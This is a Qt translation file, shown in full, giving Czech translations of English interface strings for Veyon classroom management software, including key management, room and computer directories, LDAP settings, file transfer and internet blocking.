+ + Specified key does not exist! Please use the "list" command to list all installed keys. + Zadaný klíč neexistuje! Použijte příkaz „list“ pro zobrazení všech nainstalovaných klíčů. + + + One or more key files already exist! Please delete them using the "delete" command. + Jeden nebo více souborů s klíči už existuje! Smažte je příkazem „delete“. + + + Creating new key pair for "%1" + Vytváření nové dvojice klíčů pro „%1“ + + + Failed to create public or private key! + Nepodařilo se vytvořit veřejnou či soukromou část klíče! + + + Newly created key pair has been saved to "%1" and "%2". + Nově vytvořená dvojice klíčů byla uložena do „%1“ a „%2“. + + + Could not remove key file "%1"! + Nedaří se odebrat soubor s klíčem „%1“! + + + Could not remove key file directory "%1"! + Nedaří se odebrat složku pro soubor s klíčem „%1“! + + + Failed to create directory for output file. + Nepodařilo se vytvořit složku pro výstupní soubor. + + + File "%1" already exists. + Soubor „%1“ už existuje. + + + Failed to write output file. + Nepodařilo se zapsat do výstupního souboru. + + + Key "%1/%2" has been exported to "%3" successfully. + Klíč „%1/%2“ byl úspěšně exportován do „%3“. + + + Failed read input file. + Nepodařilo se načíst vstupní soubor. + + + File "%1" does not contain a valid private key! + Soubor „%1“ neobsahuje platnou soukromou část klíče! + + + File "%1" does not contain a valid public key! + Soubor „%1“ neobsahuje platnou veřejnou část klíče! + + + Failed to create directory for key file. + Nepodařilo se vytvořit složku pro soubor s klíčem. + + + Failed to write key file "%1". + Nepodařilo se zapsat soubor s klíčem „%1“. + + + Failed to set permissions for key file "%1"! + Nepodařilo se nastavit oprávnění pro soubor s klíčem „%1“! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Klíč „%1/%2“ byl úspěšně importován. Pro zabránění neoprávněnému přístupu zkontrolujte práva na souboru pro „%3“. + + + Failed to convert private key to public key + Nepodařilo se vytvořit veřejnou část klíče z té soukromé + + + Failed to create directory for private key file "%1". + Nepodařilo se vytvořit složku pro soubor se soukromou částí klíče „%1“. + + + Failed to save private key in file "%1"! + Nepodařilo se uložit soukromou část klíče do souboru „%1“! + + + Failed to set permissions for private key file "%1"! + Nepodařilo se nastavit práva na souboru se soukromou částí klíče „%1“! + + + Failed to create directory for public key file "%1". + Nepodařilo se vytvořit složku pro veřejnou část klíče „%1“. + + + Failed to save public key in file "%1"! + Nepodařilo se uložit veřejnou část klíče do souboru „%1“! + + + Failed to set permissions for public key file "%1"! + Nepodařilo se nastavit práva na souboru s veřejnou částí klíče „%1“! + + + Failed to set owner of key file "%1" to "%2". + Nepodařilo se nastavit vlastníka souboru s klíčem „%1“ na „%2“. + + + Failed to set permissions for key file "%1". + Nepodařilo se nastavit práva na souboru s klíčem „%1“. + + + Key "%1" is now accessible by user group "%2". + Klíč „%1“ je nyní přístupný skupině uživatelů „%2“. + + + <N/A> + <N/A> + + + Failed to read key file. + Soubor s klíčem se nepodařilo načíst. + + + + AuthKeysPlugin + + Create new authentication key pair + Vytvořit novou dvojici ověřovacích klíčů + + + Delete authentication key + Smazat ověřovací klíč + + + List authentication keys + Vypsat ověřovací klíče + + + Import public or private key + Importovat veřejnou nebo soukromou část klíče + + + Export public or private key + Exportovat veřejnou nebo soukromou část klíče + + + Extract public key from existing private key + Vytvořit veřejnou část klíče z existující soukromé + + + Set user group allowed to access a key + Nastavit skupinu uživatelů která může přistupovat ke klíči + + + KEY + KLÍČ + + + ACCESS GROUP + PŘÍSTUPOVÁ SKUPINA + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Tento příkaz přizpůsobí práva na souboru na <KEY> tak, aby pouze uživatelská skupina <ACCESS GROUP> měla přístup pro čtení. + + + NAME + NÁZEV + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Tento příkaz vytvoří novou dvojici ověřovacího klíče s názvem <NAME> a uloží jeho soukromou a veřejnou část do nastavených složek s klíči. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Tento příkaz maže ověřovací klíč <KEY> z nastavené složky s klíči. Uvědomte si, že klíč nemůže být po smazání obnoven. + + + FILE + SOUBOR + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Tento příkaz exportuje ověřovací klíč <KEY> do <FILE>. Pokud <FILE> není určeno, název bude vytvořen z názvu a typu <KEY>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Tento příkaz importuje ověřovací klíč <KEY> z <FILE>. Pokud <FILE> není určeno, název bude vytvořen z názvu a typu <KEY>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Tento příkaz vypíše všechny dostupné ověřovací klíče v nastavené složce s klíči. Pokud je zadaná volba „%1“, bude namísto toho zobrazena tabulka s podrobnostmi o klíči. Některé podrobnosti mohou chybět pokud klíč není dostupný například kvůli chybějícím právům na čtení. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Tento příkaz vytáhne veřejnou část klíče ze soukromého klíče <KEY> a uloží jí do odpovídajícího veřejného klíče. + + + Please specify the command to display help for! + Zadejte příkaz pro který chcete zobrazit nápovědu! + + + TYPE + TYP + + + PAIR ID + IDENTIFIKÁTOR DVOJICE + + + Command line support for managing authentication keys + Podpora pro správu ověřovacích klíčů z příkazového řádku + + + Commands for managing authentication keys + Příkazy pro zprávu ověřovacích klíčů + + + + AuthKeysTableModel + + Name + Název + + + Type + Typ + + + Access group + Přístupová skupina + + + Pair ID + Identifikátor dvojice + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Místnosti a počítače + + + Rooms + Místnosti + + + Computers + Počítače + + + Name + Název + + + Host address/IP + Adresa IP/stroje + + + MAC address + Fyzická (MAC) adresa + + + Add new room + Přidat novou místnost + + + Remove selected room + Odebrat označenou místnost + + + Add new computer + Přidat nový počítač + + + Remove selected computer + Odebrat označený počítač + + + New room + Nová místnost + + + New computer + Nový počítač + + + Builtin directory + Vestavěný adresář + + + + BuiltinDirectoryPlugin + + Show help for specific command + Zobrazit nápovědu pro konkrétní příkaz + + + Add a room or computer + Přidat místnost nebo počítač + + + Clear all rooms and computers + Vyčistit všechny místnosti a počítače + + + Dump all or individual rooms and computers + Vypsat všechny nebo jednotlivé místnosti a počítače + + + List all rooms and computers + Vypsat všechny místnosti a počítače + + + Remove a room or computer + Odebrat místnost nebo počítač + + + Import objects from given file + Importovat objekty ze zadaného souboru + + + Export objects to given file + Exportovat objekty do zadaného souboru + + + Invalid type specified. Valid values are "%1" or "%2". + Zadán neplatný typ. Platné hodnoty jsou „%1“ nebo „%1“. + + + Type + Typ + + + Name + Název + + + Host address + Adresa stroje + + + MAC address + Fyzická (MAC) adresa + + + Specified object not found. + Zadaný objekt nenalezen. + + + File "%1" does not exist! + Soubor „%1“ neexistuje! + + + Can't open file "%1" for reading! + Nedaří se zapisovat do souboru „%1“ + + + Unknown argument "%1". + Neznámý argument „%1“. + + + Room "%1" + Místnost „%1“ + + + Computer "%1" (host address: "%2" MAC address: "%3") + Počítač „%1“ (adresa stroje: „%2“ MAC adresa: „%3“) + + + Unclassified object "%1" with ID "%2" + Nezařazený objekt „%1“ s identifikátorem „%2“ + + + None + Žádné + + + Room + Místnost + + + Computer + Počítač + + + Root + Root + + + Invalid + Neplatné + + + Error while parsing line %1. + Chyba při zpracovávání řádku %1. + + + Network object directory which stores objects in local configuration + Adresář síťových objektů který uchovává objekty v místním nastavení + + + Builtin (computers and rooms in local configuration) + Vestavěné (počítače a místnosti v místním nastavení) + + + Commands for managing the builtin network object directory + Příkazy pro správu vestavěného adresáře síťových objektů + + + No format string or regular expression specified! + Nebyl zadán žádný řetězec formátu nebo regulární výraz! + + + Can't open file "%1" for writing! + Nedaří se zapisovat do souboru „%1“! + + + No format string specified! + Nebyl určený žádný řetězec formátu! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +POUŽITÍ + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Platné proměnné: %type% %name% %host% %mac% %room% + +Příklady: + +* Export všech objektů do CSV souboru: + + %1 export objekty.csv format "%type%;%name%;%host%;%mac%" + +* Export všech počítačů v místnosti do CSV souboru: + + %1 export pocitace.csv room "Mistnost 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +POUŽITÍ + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Přidá objekty kde TYPE může být jeden z „%2“ nebo „%3“. PARENT je možné určit názvem nebo nikde se neopakujícím identifikátorem. + +Příklady: + +* Přidat místnost: + + %1 add room "Mistnost 01" + +* Přidat počítač do místnosti "Mistnost 01": + + %1 add computer "Pocitac 01" poc01.example.com 11:22:33:44:55:66 "Mistnost 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +POUŽITÍ + +%1 remove <OBJECT> + +Odebere určený objekt z adresáře. OBJECT může být určen názvem nebo nikde se neopakujícím identifikátorem. Odebrání místnosti odebere také všechny počítače v ní. + +Příklady: + +* Odebrat počítač podle názvu: + + %1 remove "Pocitac 01" + +* Odebrat objekt podle nikde se neopakujícího se názvu: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Nikde se neopakující identifikátor objektu + + + Parent UUID + Nikde se neopakující identifikátor nadřazeného + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +POUŽITÍ + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Platné proměnné: %type% %name% %host% %mac% %room% + +Příklady: + +* Import jednoduchého CSV souboru do jedné místnosti: + + %1 import pocitace.csv room "Mistnost 01" format "%name%;%host%;%mac%" + +* Import CSV souboru s názvem místnosti v prvním sloupci: + + %1 import pocitace-s-mistnostmi.csv format "%room%,%name%,%mac%" + +* Import textového souboru s dvojicemi klíč/hodnota pomocí regulárních výrazů: + + %1 import seznamstrojů.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import libovolně formátovaných dat: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Vestavěný VNC server (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Vestavěný VNC server (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Místnost: %1 + + + Host/IP address: %1 + Stroj / IP adresa: %1 + + + Active features: %1 + Aktivní funkce: %1 + + + Online and connected + Dostupné a připojeno + + + Establishing connection + Navazování spojení + + + Computer offline or switched off + Počítač není dostupný na síti nebo je vypnutý + + + Service unreachable or not running + Služba není dosažitelná nebo není spuštěná + + + Authentication failed or access denied + Ověření se nezdařilo nebo odepřen přístup + + + Disconnected + Odpojeno + + + No user logged on + Není přihlášený žádný uživatel + + + Logged on user: %1 + Přihlášený uživatel: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 služba %2 na %3:%4 + + + Authentication error + Chyba ověření + + + Remote access + Vzdálený přístup + + + User "%1" at host "%2" is now accessing this computer. + Uživatel „%1“ ze stroje „%2“ nyní přistupuje k tomuto počítači. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + Uživatel „%1“ na stroji „%2“ se pokusil přistoupit k tomuto počítači ale nebyl schopen se úspěšně ověřit! + + + + ComputerManagementView + + Computer management + Správa počítače + + + Add room + Přidat místnost + + + Save computer/user list + Uložit seznam počítačů/uživatelů + + + Select output filename + Vyberte výstupní soubor + + + CSV files (*.csv) + CSV soubory (*.csv) + + + File error + Chyba souboru + + + Could not write the computer and users list to %1! Please check the file access permissions. + Nedaří se zapsat seznam počítačů a uživatelů do %1! Zkontrolujte přístupová práva souboru. + + + Computer search + Vyhledání počítače + + + + ComputerManager + + User + Uživatel + + + Missing network object directory plugin + Chybí zásuvný modul pro adresář se síťovými objekty + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Nebyl nalezen žádný výchozí zásuvný modul pro adresář se síťovými objekty. Zkontrolujte svou instalaci nebo v nastavení %1 určete jinou podpůrnou vrstvu (backend) pro takový adresář. + + + Computer name;Host name;User + Název počítače;Název stroje;Uživatel + + + Room detection failed + Zjištění místnosti se nezdařilo + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Nedaří se zjistit do které místnosti tento počítač přísluší. To značí problém s nastavením systému. Náhradně budou ve správě počítače zobrazeny všechny místnosti. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Zadejte existující soubor s nastaveními, který importovat. + + + Please specify a valid filename for the configuration export. + Zadejte platný název souboru pro export nastavení. + + + Please specify a valid key. + Zadejte platný klíč. + + + Specified key does not exist in current configuration! + Zadaný klíč ve stávajícím nastavení neexistuje! + + + Please specify a valid value. + Zadejte platnou hodnotu. + + + Configure Veyon at command line + Nastavit Veyon na příkazovém řádku + + + Output file is not writable! + Výstupní soubor není přístupný pro zápis! + + + Output directory is not writable! + Výstupní složka není přístupná pro zápis! + + + Configuration file is not readable! + Soubor s nastaveními není přístupný pro čtení! + + + Clear system-wide Veyon configuration + Vyčistit nastavení Veyon týkající se celého systému + + + List all configuration keys and values + Vypsat veškeré položky nastavení a jejich hodnoty + + + Import configuration from given file + Importovat nastavení ze zadaného souboru + + + Export configuration to given file + Exportovat nastavení do zadaného souboru + + + Read and output configuration value for given key + Načíst a zobrazit hodnotu nastavení pro danou položku + + + Write given value to given configuration key + Zapsat zadanou hodnotu do zadané položky nastavení + + + Unset (remove) given configuration key + Zrušit nastavení (odebrat ze) zadané položky nastavení + + + Commands for managing the configuration of Veyon + Příkazy pro správu nastavení Veyon + + + Upgrade and save configuration of program and plugins + Přejít na novější verzi a uložit nastavení aplikace a zásuvných modulů + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Nedaří se nastavit automatické spouštění služby %1. + + + Could not configure the firewall configuration for the %1 Server. + Nedaří se nastavit nastavení brány firewall pro server %1. + + + Could not configure the firewall configuration for the %1 Worker. + Nedaří se nastavit bránu firewall pro worker %1. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Nedaří se změnit nastavení vytváření SAS v software. Odesílání Ctrl+Alt+Del přes ovládání na dálku nebude fungovat! + + + Configuration is not writable. Please check your permissions! + Nastavení nejsou přístupná pro zápis. Zkontrolujte svá oprávnění! + + + + DemoClient + + %1 Demo + Ukázka %1 + + + + DemoConfigurationPage + + Demo server + Ukázkový server + + + Tunables + Vyladitelné + + + ms + ms + + + Key frame interval + Interval mezi úplnými snímky + + + Memory limit + Paměťový limit + + + Use multithreading (experimental) + Provozovat vícevláknově (experimentální) + + + MB + MB + + + Update interval + Interval aktualizace + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Ukázka na celou obrazovku + + + Stop demo + Zastavit ukázku + + + Window demo + Ukázka v okně + + + Give a demonstration by screen broadcasting + Předvést ostatním vysíláním obsahu obrazovky + + + Demo server + Ukázkový server + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + V tomto režimu bude vaše obrazovka zobrazována v celoobrazovkovém režimu na všech počítačích a jejich vstupní zařízení budou uzamčena. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + V tomto režimu bude vaše obrazovka zobrazována v okně na všech počítačích. Uživatelé přitom budou moci v případě potřeby přepínat na další okna. + + + + DesktopAccessDialog + + Desktop access dialog + Dialog přístupu k pracovní ploše + + + Confirm desktop access + Schválit přístup k pracovní ploše + + + Never for this session + Ne po celou dobu této relace + + + Always for this session + Ano kdykoli po dobu této relace + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Uživatel %1 chce z počítače %2 přistoupit k Vaší pracovní ploše. Umožníte mu to? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programy a webové stránky + + + Predefined programs + Přednastavené aplikace + + + Name + Název + + + Path + Umístění + + + Add new program + Přidat novou aplikaci + + + Remove selected program + Odebrat označenou aplikaci + + + Predefined websites + Přednastavené webové stránky + + + Remove selected website + Odebrat označenou webovou stránku + + + URL + URL + + + New program + Nová aplikace + + + New website + Nová webová stránka + + + + DesktopServicesFeaturePlugin + + Run program + Spustit aplikaci + + + Open website + Otevřít webovou stránku + + + Click this button to open a website on all computers. + Kliknutím na toto tlačítko otevřete webovou stránku na všech počítačích. + + + Please enter the URL of the website to open: + Zadejte URL adresu webové stránky, kterou otevřít: + + + Start programs and services in user desktop + Spustit aplikace a služby na počítači uživatele + + + Click this button to run a program on all computers. + Kliknutím na toto tlačítko spustíte aplikaci na všech počítačích. + + + Run program "%1" + Spustit aplikaci „%1“ + + + Custom program + Uživatelem určená aplikace + + + Open website "%1" + Otevřít webovou stránku „%1“ + + + Custom website + Uživatelsky určené webová stránka + + + + ExternalVncServer + + External VNC server + Externí VNC server + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Nastavení externího VNC serveru + + + Port: + Port: + + + Password: + Heslo: + + + + FeatureControl + + Feature control + Ovládání funkce + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Soubor „%1“ se nedaří otevřít pro čtení! Zkontrolujte svá oprávnění! + + + + FileTransferDialog + + File transfer + Přenos souboru + + + Options + Volby + + + Transfer only + Pouze přenos + + + Transfer and open file(s) with associated program + Přenést a otevřít soubory pomocí přiřazeného programu + + + Transfer and open destination folder + Přenést a otevřít cílovou složku + + + Files + Soubory + + + Start + Spustit + + + Overwrite existing files + Přepsat existující soubory + + + + FileTransferPlugin + + File transfer + Přenos souboru + + + Click this button to transfer files from your computer to all computers. + Kliknutím na toto tlačítko zkopírujete soubory ze svého počítače na všechny ostatní. + + + Select one or more files to transfer + Vyberte jeden nebo více souborů k přenosu + + + Transfer files to remote computer + Přenést soubory na vzdálený počítač + + + Received file "%1". + Obdržen soubor „%1“. + + + Could not receive file "%1" as it already exists. + Není možné přijmout soubor „%1“, protože už existuje. + + + Could not receive file "%1" as it could not be opened for writing! + Není možné přijmout soubor „%1“, protože by ho nebylo možné otevřít pro zápis! + + + + GeneralConfigurationPage + + User interface + Uživatelské rozhraní + + + Language: + Jazyk: + + + Use system language setting + Použit jazyková nastavení systému + + + Veyon + Veyon + + + Logging + Pořizování záznamů událostí + + + Log file directory + Složka pro soubor se záznamy událostí + + + ... + … + + + Log level + Úroveň podrobností záznamu událostí + + + Nothing + Nic + + + Only critical messages + Pouze kritické zprávy + + + Errors and critical messages + Chyby a kritické zprávy + + + Warnings and errors + Varování a chyby + + + Information, warnings and errors + Informace, varování a chyby + + + Debug messages and everything else + Ladící zprávy a vše ostatní + + + Limit log file size + Omezit velikost souboru se záznamy událostí + + + Clear all log files + Vymazat všechny soubory se záznamy událostí + + + Log to standard error output + Zaznamenávat na standardní chybový výstup + + + Network object directory + Adresář síťových objektů + + + Backend: + Podpůrná vrstva (backend): + + + Update interval: + Interval aktualizace: + + + %1 service + služba %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Pro smazání souborů se záznamy událostí je třeba dočasně zastavit službu %1 – pokračovat? + + + Log files cleared + Soubory se záznamy událostí byly smazány + + + All log files were cleared successfully. + Všechny soubory se záznamy událostí byly úspěšně smazány. + + + Error + Chyba + + + Could not remove all log files. + Nedaří se smazat soubory se záznamy událostí. + + + MB + MB + + + Rotate log files + Rotovat soubory se záznamem událostí + + + x + x + + + seconds + sekund + + + Write to logging system of operating system + Zapisovat do systému záznamu událostí operačního systému + + + Authentication + Ověření + + + Method: + Metoda: + + + Logon authentication + Ověření přihlášením se + + + Key file authentication + Ověření pomocí souboru s klíčem + + + + InternetAccessControlConfigurationPage + + Internet access control + Řízení přístupu k Internetu + + + Backend: + Podpůrná vrstva (backend): + + + General settings + Obecná nastavení + + + Backend settings + Nastavení podpůrné vrstvy + + + + InternetAccessControlPlugin + + Block access to the internet + Blokovat přístup k Internetu + + + Allow access to the internet + Umožnit přístup k Internetu + + + Show help about command + Zobrazit nápovědu k příkazu + + + Block internet + Blokovat Internet + + + Click this button to block access to the internet. + Kliknutím na toto tlačítko zablokujete přístup k Internetu. + + + Unblock internet + Odblokovat Internet + + + Click this button to allow access to the internet. + Kliknutím na toto tlačítko umožníte přístup k Internetu. + + + Control access to the internet + Ovládat přístup k Internetu + + + Commands for controlling access to the internet + Příkazy pro ovládání přístup k Internetu + + + + LdapBrowseDialog + + Browse LDAP + Procházet LDAP + + + + LdapClient + + LDAP error description: %1 + Popis LDAP chyby: %1 + + + No LDAP error description available + Není k dispozici žádný popis LDAP chyby + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Základní nastavení + + + General + Obecné + + + LDAP server and port + LDAP server a port + + + Bind DN + Spojovací rozlišený název (DN) + + + Bind password + Spojovací heslo + + + Anonymous bind + Anonymní spojení + + + Use bind credentials + Použít spojovací přihlašovací údaje + + + Test + Ověřit funkčnost + + + Base DN + Základ rozlišeného názvu (DN) + + + Fixed base DN + Neměnný základ rozlišeného názvu (DN) + + + e.g. dc=example,dc=org + např. dc=example,dc=org + + + Discover base DN by naming context + Zjistit základ rozlišeného názvu (DN) pomocí kontextu pojmenování + + + e.g. namingContexts or defaultNamingContext + např. namingContexts nebo defaultNamingContext + + + Environment settings + Nastavení prostředí + + + Object trees + Stromy objektů + + + Computer tree + Strom počítačů + + + e.g. OU=Groups + např. OU=Groups + + + User tree + Strom uživatelů + + + e.g. OU=Users + např. OU=Users + + + e.g. OU=Computers + např. OU=Computers + + + Group tree + Strom skupin + + + Perform recursive search operations in object trees + Hledat i ve vnořených úrovních stromů objektu + + + Object attributes + Atributy objektu + + + e.g. hwAddress + např. hwAdress + + + Computer host name attribute + Atribut název počítače + + + e.g. member or memberUid + Např. member nebo memberUid + + + User login attribute + Atribut přihlašovací jméno uživatele + + + e.g. dNSHostName + Např. dNSHostName + + + Computer MAC address attribute + Atribut fyzická (MAC) adresa počítače + + + Group member attribute + Atribut členství ve skupinách + + + e.g. uid or sAMAccountName + např. uid nebo sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Názvy strojů ukládané jako úplné doménové názvy (FQDN), např. mujstroj.example.org + + + Advanced settings + Pokročilá nastavení + + + Optional object filters + Volitelné filtry objektů + + + Filter for user groups + Filtrovat dle skupin uživatele + + + Filter for users + Filtrovat dle uživatelů + + + Filter for computer groups + Filtrovat dle skupin počítačů + + + Group member identification + Identifikace člena skupiny + + + Distinguished name (Samba/AD) + Rozlišený název (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Atribut nastavený jako uživatelské jméno nebo název počítače (OpenLDAP) + + + List all groups of a user + Vypsat veškeré skupiny kterých je uživatel členem + + + List all groups of a computer + Vypsat veškeré skupiny počítačů + + + Get computer object by IP address + Získat objekt počítače pomocí IP adresy + + + LDAP connection failed + Nepodařilo se připojit do LDAP + + + LDAP bind failed + Spojení s LDAP se nezdařilo + + + LDAP bind successful + Spojení do LDAP úspěšně navázáno + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Úspěšně připojeno k LDAP serveru a provedeno LDAP přihlášení. Základní LDAP nastavení jsou v pořádku. + + + LDAP base DN test failed + Test základu LDAP rozliš. (DN) názvu se nezdařil + + + LDAP base DN test successful + Test základu LDAP rozliš. názvu úspěšný + + + LDAP naming context test failed + Test LDAP kontextu názvů se nezdařil + + + LDAP naming context test successful + Test LDAP kontextu názvů úspěšný + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + LDAP kontext názvů by úspěšně dotázán. Následující základní DN byly nalezeny: +%1 + + + user tree + strom uživatelů + + + group tree + strom skupin + + + computer tree + strom počítačů + + + Enter username + Zadejte uživatelské jméno + + + Please enter a user login name (wildcards allowed) which to query: + Zadejte přihlašovací jméno uživatele (je možné použít i zástupné znaky) na které se dotázat: + + + user objects + objekty uživatele + + + user login attribute + atribut přihlašovací jméno uživatele + + + Enter group name + Zadejte název skupiny + + + Please enter a group name whose members to query: + Zadejte název skupiny na jejíž členy se dotázat: + + + group members + členové skupiny + + + group member attribute + atribut členství ve skupinách + + + Group not found + Skupina nenalezena + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Nedaří se nalézt skupinu s názvem „%1“. Zkontrolujte název skupiny a parametr „strom skupin“. + + + Enter computer name + Zadejte název počítače + + + Please enter a computer host name to query: + Zadejte název počítače na se který dotázat: + + + Invalid host name + Neplatný název stroje + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Nastavili jste, že názvy strojů mají být ukládány v podobě úplných doménových názvů (FQDN), ale nyní jste zadali pouze název stroje bez domény. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Nastavili jste, že názvy strojů mají být ukládány v podobě krátkých názvů bez doménové části, ale nyní jste zadali název stroje včetně domény. + + + computer objects + objekty počítačů + + + computer host name attribute + atribut název počítače + + + Enter computer DN + Zadejte rozlišený název (DN) počítače + + + Please enter the DN of a computer whose MAC address to query: + Zadejte rozlišený název (DN) počítače na jehož MAC adresu se dotázat: + + + computer MAC addresses + Fyzické (MAC) adresy sítových rozhraní počítačů + + + computer MAC address attribute + atribut MAC adresa síťového rozhraní počítače + + + users + uživatelé + + + user groups + skupiny uživatelů + + + computer groups + skupiny počítačů + + + Please enter a user login name whose group memberships to query: + Zadejte přihlašovací jméno uživatele na jehož členství ve skupinách se dotázat: + + + groups of user + skupiny uživatelů + + + user login attribute or group membership attribute + atribut přihlašovací jméno uživatele nebo členství ve skupině + + + User not found + Uživatel nebyl nalezen + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Nedaří se nalézt uživatele se jménem „%1“. Zkontrolujte uživatelské jméno nebo parametr strom uživatelů. + + + Enter host name + Zadejte název stroje + + + Please enter a computer host name whose group memberships to query: + Zadejte název počítače na jehož členství ve skupinách se dotázat: + + + groups of computer + skupiny počítačů + + + computer host name attribute or group membership attribute + atribut název počítače nebo členství ve skupině + + + Computer not found + Počítač nenalezen + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Nedaří se nalézt počítač nazvaný „%1“. Zkontrolujte název stroje nebo parametr strom počítačů. + + + Enter computer IP address + Zadejte IP adresu počítače + + + Please enter a computer IP address which to resolve to an computer object: + Zadejte IP adresu počítače kterou přeložit na objekt počítače: + + + Host name lookup failed + Vyhledání názvu stroje se nezdařilo + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Nedaří se zjistit název stroje pro IP adresu %1. Zkontrolujte nastavení pro DNS server. + + + computers + počítače + + + LDAP %1 test failed + Test LDAP %1 se nezdařil + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Nedaří se dotázat na žádné položky v nastaveném %1. Zkontrolujte parametr %1. + +%2 + + + LDAP %1 test successful + Test LDAP %1 úspěšný + + + The %1 has been queried successfully and %2 entries were found. + Úspěšně dotázáno na %1 a nalezeno %2 položek. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Nedaří se dotázat na žádné %1. Zkontrolujte parametr %2 nebo zadejte název existujícího objektu. + +%3 + + + %1 %2 have been queried successfully: + +%3 + Úspěšně dotázáno na %1 %2: + +%3 + + + LDAP filter test failed + Test LDAP filtru se nezdařil + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + S takto nastaveným filtrem se nedaří dotázat na žádné %1. Zkontrolujte LDAP filtr pro %1. + +%2 + + + LDAP filter test successful + Test LDAP filtru úspěšný + + + %1 %2 have been queried successfully using the configured filter. + S nastaveným filtrem úspěšně dotázáno na %1 %2. + + + (only if different from group tree) + (pouze pokud se liší od stromu skupin) + + + Computer group tree + Strom skupin počítačů + + + computer group tree + Strom skupin uživatelů + + + Filter for computers + Filtrovat dle počítačů + + + e.g. room or computerLab + např. room (místnost) nebo computerLab (počítačová laboratoř) + + + List all members of a computer room + Vypsat veškeré členy počítačové místnosti + + + List all computer rooms + Vypsat veškeré počítačové místnosti + + + Enter computer room name + Zadejte název počítačové místnosti + + + Please enter the name of a computer room (wildcards allowed): + Zadejte název počítačové místnosti (je možné použít i zástupné znaky): + + + 